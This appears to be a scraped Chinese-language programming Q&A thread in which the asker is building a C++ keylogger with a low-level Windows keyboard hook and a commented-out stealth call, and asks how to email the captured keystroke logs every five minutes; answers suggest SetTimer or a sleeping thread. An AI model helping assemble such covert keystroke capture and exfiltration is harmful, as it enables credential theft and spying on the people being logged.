win32主循环间隔问题c++

win32 main loop interval issue C++

本文关键字:问题 c++ 循环 win32      更新时间:2023-10-16

我正在制作一个记录按键的键盘记录器(呸…)。现在,当我在c++中实现了基本的键盘记录程序后,我想为这个应用程序添加一个新特性:我想让它将日志发送到我的电子邮件中。到目前为止一切顺利,我发现这个开源电子邮件客户端非常适合我的需要。我遇到的唯一问题是让应用程序每隔x分钟发送一次日志。

int main(int argc, char *argv[])
{
    //stealth();
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
    if(hHook == NULL)
    {
        cout << "Hook failed" << endl;
    }
    MSG message;
    while(GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
    return 0;
}

我需要实现某种计数器,它将在某些时候使用函数send();。有人知道如何修改MSG循环来执行函数send();每隔5分钟?

看看SetTimer函数,我认为它正是你所需要的。

在事件循环之前,你应该用期望的间隔调用这个函数,你必须传递给它一个回调函数。或者你可以使用另一个函数CreateTimerQueueTimer

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}
UINT timer = SetTimer(NULL, 0, 500, &TimerProc);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
    TranslateMessage(&message);
    DispatchMessage(&message);
}
KillTimer(NULL, timerId);

创建一个新线程休眠x毫秒,然后发送一个while(!interrupted)循环。您可能知道,同时从两个不同的线程访问相同的数据进行读写将导致错误。http://msdn.microsoft.com/en-us/library/kdzttdcb (v = vs.80) . aspx

为了避免这种情况,可以使用临界区

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908 (v = vs.85) . aspx

或者只是让你的线程睡觉,把一个布尔值变成真,意思是"是的,我们等得够了",你的主函数总是在布尔值为真时发送数据,然后把它设回假。

编辑:我相信这是存档这个

的更简单的方法。
while(!interrupted) { // Your thread will do this.
    sleep(60000);
    maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
    send();
    maysend = false;
}